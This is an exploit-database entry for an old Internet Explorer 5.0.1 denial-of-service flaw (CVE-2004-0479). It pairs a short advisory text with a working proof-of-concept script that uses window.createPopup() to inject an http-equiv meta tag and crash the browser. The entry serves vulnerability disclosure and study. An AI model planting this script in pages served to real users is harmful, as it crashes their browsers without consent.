Microsoft Internet Explorer 5.0.1 - http-equiv Meta Tag Denial of Service



EKU-ID: 29537 CVE: CVE-2004-0479;OSVDB-15222 OSVDB-ID:
Author: Mike Mauler Published: 2004-05-14 Verified: Verified
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source: https://www.securityfocus.com/bid/10351/info

It has been reported that Internet Explorer is prone to a denial of service vulnerability when processing a malicious script containing the 'window.createPopup()' method to invoke the 'http-equiv' meta tag.

This issue could be exploited by a remote attacker to cause a denial of service condition in the browser.

<script type="text/javascript">
Wnd = window.createPopup();
Wnd.document.body.innerHTML='<meta http-equiv="imagetoolbar" content="no">';
</script>